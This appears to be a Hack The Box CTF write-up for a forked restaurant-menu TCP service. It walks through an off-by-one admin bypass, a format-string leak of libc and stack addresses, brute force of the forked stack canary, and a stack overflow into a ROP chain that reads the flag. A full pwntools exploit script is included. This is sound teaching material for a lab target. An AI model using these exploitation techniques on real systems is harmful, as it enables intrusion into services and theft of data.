$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: a forked Linux TCP service with PIE, NX, canary, Full RELRO, an off-by-one admin bypass, a reservation format string, and a staged stack overflow. Solution: use the NUL overwrite to reach manager functions, leak libc and stack via fprintf, brute-force the shared canary across forked children, recover the randomized flag filename with getdents64, then finish with an ORW ROP chain.
Welcome to the Forks & Knives restaurant!
This was a forked TCP pwn service, not a web task. The binary exposed a restaurant menu over the network and kept per-client state such as the user name, reservations, and order data.
Remote target: 154.57.164.78:30845.
Files:
serverlibc.so.6DockerfileThe first useful strings immediately showed the challenge shape:
Welcome to the Forks & Knives restaurant!Can I have your name please?Reserve a tablePlace an orderLogin as managerView reservationsClear reservationsThat made it clear this was a classic menu-driven Linux service. There was no HTTP parsing anywhere, and the target itself behaved like a forked TCP daemon: every incoming connection got a fresh child process.
checksec on the binary:
| Protection | Status |
|---|---|
| PIE | Enabled |
| NX | Enabled |
| Canary | Enabled |
| RELRO | Full |
So the exploitation plan had to avoid GOT overwrites and needed either a canary leak or a reliable canary bypass. Because the service forks, the stack canary is inherited by children, which turned brute force into a viable primitive.
The early input handler stores the customer name in a global buffer:
name at 0x4030admin flag at 0x4040The name logic reads up to 16 bytes and then writes a trailing \0 at name[len].
That is safe for lengths 0..15, but exactly 16 bytes makes the terminator land one byte past the buffer, on top of the neighboring auth state.
If we send exactly 16 bytes as the initial name, the terminator is written to 0x4040 and clears the adjacent admin flag. In this program that flipped the manager check in our favor, so the manager-only menu entries became reachable without any real login.
This was the first stage of the chain because the format-string bug lived behind the reservation/manager flow.
The reservation path asks:
How many people would you like to reserve the table for?
That value is read into a tiny 4-byte stack buffer, then embedded with:
snprintf(user_buf, ..., "Table for %s\n", input);
So far this is fine. The bug appears one step later when the resulting string is written with:
fprintf(file, user_buf);
Instead of treating user_buf as plain data, it becomes the format string for fprintf. Since manager access lets us view the saved reservations afterwards, we can plant %p specifiers and recover pointers from the child process.
The two leaks that mattered were:
%2$p → libc pointer to lseek64+0xb%1$p → stack pointer inside the current frameKnown libc relation:
lseek64 = 0x114910 lseek64 + 0xb = 0x11491b
So:
libc_base = leak_%2$p - 0x11491b
The stack leak gave a stable way to compute the future order buffer address:
order_buf = stack_leak - 0xe0
That was important because the final payload did not spawn an interactive shell. Instead, it used ORW directly and needed a reliable writable pointer for filenames and file contents.
The order handler contains two reads:
0x100 bytes into a local buffer at rbp-0x110y/n read at rbp-0x116y, a second read of 0x100 bytes goes to buf + first_lenThat means the program reuses the length returned by the first read as the starting point for the second write.
If we make the first read consume a full 0x100 bytes, the second destination becomes:
(rbp - 0x110) + 0x100 = rbp - 0x10
From there, the second read starts past the end of the original buffer, only 8 bytes before the canary.
Stack layout relative to the second write start:
rbp-0x10 -> second write starts here rbp-0x08 -> canary rbp+0x00 -> saved rbp rbp+0x08 -> saved rip
So the second-stage payload becomes:
8 bytes padding 8 bytes canary 8 bytes saved rbp filler ROP chain
This gave controlled RIP despite NX, PIE, canary, and Full RELRO.
The final exploit used the following sequence:
%2$p for libc base%1$p for stack leakorder_buf = stack_leak - 0xe0.getdents64 to list the directory and recover the randomized flag filename.Because the parent process forks a child for each connection, every child inherits the same canary value. That turns crash-or-no-crash into an oracle.
Recovered canary:
00 8e eb 38 42 f7 ae 33
Little-endian 64-bit value:
0x33aef74238eb8e00
Bruteforce method:
0x100 bytes in the first order read so the second write starts at rbp-0x10.8 bytes paddingThe leading canary byte is 0x00, so only the remaining 7 bytes needed guessing.
The provided Dockerfile contains the important hint:
# RUN mv /home/ctf/flag.txt /home/ctf/flag$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 16).txt
So even after code execution, assuming a fixed flag.txt path would fail. The exploit first used a directory listing ROP chain.
getdents64Once libc was known, ORW was enough to read arbitrary files, but we still needed the exact randomized name. getdents64 solved that cleanly:
open(".", 0) or open("/home/ctf", 0)getdents64(fd, order_buf, 0x300)write(4, order_buf, 0x300)Here 4 is the client socket descriptor in the forked child, so the directory entries are written directly back to our connection.
That revealed:
flagd816d7b5ab9c4d97.txt
After discovering the filename, the last chain reused the same overflow and targeted the real flag file.
High-level ROP plan:
open("flagd816d7b5ab9c4d97.txt", 0)read(3, order_buf, 0x80)write(4, order_buf, 0x80)exit(0)Why ORW instead of system("/bin/sh"):
libc leak source : lseek64+0xb libc leak offset : 0x11491b stack-derived buffer : order_buf = stack_leak - 0xe0 known socket fd : 4 canary : 0x33aef74238eb8e00
#!/usr/bin/env python3 from pwn import * import re HOST = "154.57.164.78" PORT = 30845 BIN_PATH = "./server" LIBC_PATH = "./libc.so.6" elf = context.binary = ELF(BIN_PATH, checksec=False) libc = ELF(LIBC_PATH, checksec=False) context.arch = "amd64" context.os = "linux" context.log_level = "info" CANARY = 0x33AEF74238EB8E00 LSEEK64_RET_OFF = 0x11491B # lseek64 + 0xb ORDER_BUF_DELTA = 0xE0 # order_buf = stack_leak - 0xe0 CLIENT_FD = 4 LISTING_PATH = b".\x00" FLAG_NAME = b"flagd816d7b5ab9c4d97.txt\x00" def start(): return remote(HOST, PORT) def menu(io, choice: int): io.recvuntil(b"Clear reservations") io.sendline(str(choice).encode()) def set_name(io, name: bytes): io.recvuntil(b"Can I have your name please?") io.send(name) def manager_bypass(io): # Exactly 16 bytes -> trailing NUL lands on adjacent admin flag. set_name(io, b"A" * 16) def reserve(io, people: bytes, saved_name: bytes = b"guest"): menu(io, 1) io.recvuntil(b"How many people would you like to reserve the table for?") io.sendline(people) io.recvuntil(b"Under what name shall we save the reservation?") io.sendline(saved_name) def view_reservations(io) -> bytes: menu(io, 5) data = io.recvuntil(b"Clear reservations", drop=True, timeout=2) return data def leak_libc_and_stack(io): reserve(io, b"%1$p.%2$p", b"chef") data = view_reservations(io) m = re.search(rb"0x([0-9a-fA-F]+)\.0x([0-9a-fA-F]+)", data) if not m: log.failure(data) raise ValueError("failed to parse reservation leaks") stack_leak = int(m.group(1), 16) libc_ret = int(m.group(2), 16) libc.address = libc_ret - LSEEK64_RET_OFF order_buf = stack_leak - ORDER_BUF_DELTA log.success(f"stack leak = {hex(stack_leak)}") log.success(f"libc leak = {hex(libc_ret)}") log.success(f"libc base = {hex(libc.address)}") log.success(f"order buf = {hex(order_buf)}") return order_buf def order(io, first: bytes, second: bytes): menu(io, 2) io.recvuntil(b"What would you like to order?") io.send(first) io.recvuntil(b"Would you like to add anything to your order? (y/n)") io.send(b"y\n") io.recvuntil(b"What else will you add to your order?") io.send(second) def build_syscall_chain(order_buf: int, dir_fd: int): rop = ROP(libc) pop_rdi = libc.address + rop.find_gadget(["pop rdi", "ret"]).address pop_rsi = libc.address + rop.find_gadget(["pop rsi", "ret"]).address pop_rdx_r12 = libc.address + rop.find_gadget(["pop rdx", "pop r12", "ret"]).address pop_rax = libc.address + rop.find_gadget(["pop rax", "ret"]).address syscall = libc.address + rop.find_gadget(["syscall", "ret"]).address chain = flat( pop_rdi, order_buf, # open(path, 0) pop_rsi, 0, libc.address + libc.sym.open, pop_rdi, dir_fd, # getdents64(dir_fd, order_buf, 0x300) pop_rsi, order_buf, pop_rdx_r12, 0x300, 0, pop_rax, 217, syscall, pop_rdi, CLIENT_FD, # write(4, order_buf, 0x300) pop_rsi, order_buf, pop_rdx_r12, 0x300, 0, libc.address + libc.sym.write, pop_rdi, 0, libc.address + libc.sym.exit, ) return chain def build_flag_chain(order_buf: int, flag_ptr: int): rop = ROP(libc) pop_rdi = libc.address + rop.find_gadget(["pop rdi", "ret"]).address pop_rsi = libc.address + rop.find_gadget(["pop rsi", "ret"]).address pop_rdx_r12 = libc.address + rop.find_gadget(["pop rdx", "pop r12", "ret"]).address chain = flat( pop_rdi, flag_ptr, # open(flag_name, 0) pop_rsi, 0, libc.address + libc.sym.open, pop_rdi, 3, # read(3, order_buf, 0x80) pop_rsi, order_buf, pop_rdx_r12, 0x80, 0, libc.address + libc.sym.read, pop_rdi, CLIENT_FD, # write(4, order_buf, 0x80) pop_rsi, order_buf, pop_rdx_r12, 0x80, 0, libc.address + libc.sym.write, pop_rdi, 0, libc.address + libc.sym.exit, ) return chain def overflow_payload(order_buf: int, rop_chain: bytes, first_blob: bytes) -> tuple[bytes, bytes]: first = first_blob.ljust(0x100, b"A") second = flat( b"B" * 8, # second write starts at rbp-0x10 CANARY, b"C" * 8, # saved rbp rop_chain, ) return first, second def list_directory(): io = start() manager_bypass(io) order_buf = leak_libc_and_stack(io) first_blob = LISTING_PATH chain = build_syscall_chain(order_buf, 3) first, second = overflow_payload(order_buf, chain, first_blob) order(io, first, second) data = io.recvrepeat(1) io.close() return data def read_flag(): io = start() manager_bypass(io) order_buf = leak_libc_and_stack(io) flag_ptr = order_buf + 0x20 first_blob = LISTING_PATH.ljust(0x20, b"\x00") + FLAG_NAME chain = build_flag_chain(order_buf, flag_ptr) first, second = overflow_payload(order_buf, chain, first_blob) order(io, first, second) data = io.recvrepeat(1) m = re.search(rb"HTB\{[^}]+\}", data) if m: log.success(f"flag = {m.group().decode()}") else: log.failure(data) io.interactive() def brute_canary(): known = b"\x00" while len(known) < 8: for guess in range(0x100): io = start() try: manager_bypass(io) menu(io, 2) io.recvuntil(b"What would you like to order?") io.send(b"A" * 0x100) io.recvuntil(b"Would you like to add anything to your order? (y/n)") io.send(b"y\n") io.recvuntil(b"What else will you add to your order?") probe = b"B" * 8 + known + bytes([guess]) io.send(probe) out = io.recv(timeout=0.4) if b"You order has been placed!" in out or b"already placed" in out or out: known += bytes([guess]) log.success(f"canary so far: {known.hex()}") io.close() break except EOFError: pass finally: io.close() else: raise RuntimeError("failed to brute-force next canary byte") return u64(known) if __name__ == "__main__": # Optional helper: # print(list_directory()) read_flag()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar